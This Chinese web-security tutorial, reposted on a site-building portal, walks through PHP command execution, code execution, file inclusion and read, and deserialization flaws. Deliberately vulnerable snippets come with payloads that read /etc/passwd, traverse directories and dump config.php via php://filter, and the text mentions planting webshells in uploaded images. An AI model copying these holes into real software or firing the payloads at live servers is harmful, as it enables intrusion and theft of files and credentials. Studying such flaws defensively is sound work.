当前位置: 首页 > wzjs >正文

番禺区怎么做网站建设上海频道网站建设

番禺区怎么做网站建设,上海频道网站建设,前端代码,上海免费模板建站一、命令执行 1.1、命令执行原理 <?php $cmd $_GET[cmd]; // 直接获取用户输入 system($cmd); // 不安全 ?>#payload: http://example.com/vuln.php?cmdwhoami#结果: www-data 1.2、危险函数 1.2.1、system() 介绍&#xff1a; 执行外部命令&#xff0c;将命令…

一、命令执行

1.1、命令执行原理

<?php
$cmd = $_GET['cmd']; // 直接获取用户输入
system($cmd); // 不安全
?>#payload:
http://example.com/vuln.php?cmd=whoami#结果:
www-data

1.2、危险函数

1.2.1、system()

介绍:

执行外部命令,将命令的输出直接发送到标准输出(通常是浏览器),并返回命令输出的最后一行

利用手段:

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
//payload
http://example.com/vuln.php?cmd=ls
//output
index.php
config.php
.htaccess

 

1.2.2、exec()

介绍:

exec() 执行外部命令,将命令的输出存储在数组中,返回命令的返回值

利用手段:

<?php
exec($_GET['cmd'], $output);
echo implode("\n", $output);
?>
//payload
http://example.com/vuln.php?cmd=cat /etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.3、shell_exec()

介绍:

shell_exec() 执行外部命令,返回命令输出的完整字符串(包含换行符)。

利用手段:

<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.4、passthru()

介绍:

passthru() 执行命令,将原始输出直接传递给浏览器(适合处理二进制输出)。

利用手段:

<?php
passthru($_GET['cmd']);
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

 

1.2.5、popen()

介绍:

执行命令,返回进程指针,可读取/写入。

利用手段:

<?php
$handle = popen($_GET['cmd'], "r");
echo fread($handle, 4096);
pclose($handle);
?>http://example.com/vuln.php?cmd=whoami

1.2.6、proc_open()

介绍:

功能更强大,可控制进程输入/输出/错误流。

利用手段:

同上(popen)

1.2.7、backticks (\``)

介绍:

反引号语法 `cmd` 等价于 shell_exec()

利用手段:

shell_exec()相同。

 

二、代码执行

2.1、代码执行原理

以eval()为例:

<?php
$code = $_GET['code'];
eval($code);
?>
//payload
http://example.com/vuln.php?code=phpinfo();
//output
phpinfo:
php version ...

2.2、危险函数

2.2.1、eval()

介绍:

将传入的字符串解析为 PHP 代码 并执行。如果传入的内容不受控或未经过滤,可能导致任意代码执行。

利用手段:

 

2.2.2、assert()

介绍:

assert() 在 PHP 5.2.0 及以上版本可以动态执行表达式(类似 eval),如果表达式的结果为 false,则会报错。
在 PHP 7.0.0 之前,它能够直接执行 PHP 代码,因此 非常危险

补充:assert接收的参数为函数,一般代码不能直接执行,最好以assert(eval($_POST[123]))这样的形式。

利用手段:

<?php
$input = $_GET['input'];
assert($input);
?>input=system('whoami');www-data

2.2.3、preg_replace()

介绍:

preg_replace() 是 PHP 的正则表达式替换函数。在 PHP 5.5.0 之前,使用 /e 修饰符 可以将匹配的字符串作为 PHP 代码执行。

preg_replace(pattern, replacement, subject);

利用手段:

<?php
$input = $_GET['input'];
echo preg_replace('/.*/e', $input, 'test');
?>input=system('whoami')www-data

2.2.4、create_function()

介绍:

create_function() 创建一个匿名函数,但参数和函数体都是字符串,因此极易引发代码注入漏洞。

create_function('$args', 'return $args + 1;');

利用手段:

详情见:WEB安全--RCE--RCE的绕过-CSDN博客

 

三、文件包含/读取

3.1、文件包含

3.1.1、include()

介绍:

包含并执行指定文件,失败时仅抛出警告。

利用手段:

1、在上传的图片中写入木马,执行木马中的php恶意代码

2、命令执行:

<?php
$filename = $_GET['file'];
include($filename);
?>
//payload
http://example.com/vuln.php?file=/etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.1.2、require()

介绍:

包含并执行指定文件,失败则中止脚本。

利用手段:

同上。

 

3.2、文件读取

3.2.1、file_get_contents()

介绍:

读取文件并将其内容作为字符串返回。

利用手段:

<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.2.2、readfile()

介绍:

读取文件内容并直接输出到浏览器。

利用手段:

<?php
$file = $_GET['file'];
readfile($file);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
//目录遍历
http://example.com/vuln.php?file=../../../../etc/passwd//搭配为协议
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=config.php

四、反序列化

4.1、原理

在 PHP 中,序列化(Serialization) 是指将对象或数据结构转化为字符串格式,方便存储或传输。反序列化(Unserialization) 则是将序列化后的字符串还原为 PHP 对象或数据结构的过程。

而在数据进行反序列化时就会执行。

4.2、函数

4.2.1、serialize()  unserialize()

// 序列化
string serialize(mixed $value)// 反序列化
mixed unserialize(string $data, array $options = [])

4.2.2、漏洞利用

<?php
$data = $_GET['data'];
unserialize($data);
?>http://example.com/vuln.php?data=O:4:"Test":1:{s:4:"prop";s:4:"id";}uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

 

 

 

http://www.dtcms.com/wzjs/593316.html

相关文章:

  • 站长工具网站备案查询网站 68
  • 做暧暖网站室内设计公司取名字大全集
  • 做装修网站公司网站开发我们都能解决
  • 网站改版模版做ppt图片网站 知乎
  • 左侧导航网站甘肃住房与城乡建设部网站
  • 网站制作公司茂名网站建设的网络
  • 网站建设的项目亮点怎么写做公司网站有用吗
  • 微网站 app 区别浙江seo推广
  • 东莞免费网站制作做外贸网站外包
  • 设计公司平面设计丹东seo营销
  • 营销软件站韩国最牛的设计网站
  • 租用网站微网站平台怎样做网站
  • 色和尙做爰网站沈阳建站免费模板
  • 做网站要准备的资料莱芜哪里做网站
  • 网站建设要哪些人谷歌seo建站
  • 长春做网站公司长春网站排名现在的网站推广是怎么做的
  • 沈阳网站设计开发公司做纺织外贸哪个贸易网站好
  • 87网站建设工作室媒体网站模版
  • 国外优秀的企业网站wordpress 页面 分类
  • 陕西天和建设有限公司网站沧州网站制作教程
  • 做网站分类链接win7怎么做网站映射
  • 企业网站php模版网站建设中国十强
  • 移动网站推广一般做网站用什么字体
  • 做业务网站霸州放心的网络建站
  • 找第三方做网站 需要注意企业邮箱在哪查看
  • 网站关键词做的越多越好吗平台网站开发
  • 婚恋网站应聘做销售软件开发公司app
  • 深圳网站关键词优化国外产品展示网站模板
  • 天猫旗舰店网站建设案例做一份完整的网站规划书
  • 企业做网站公司怎么做做易经网站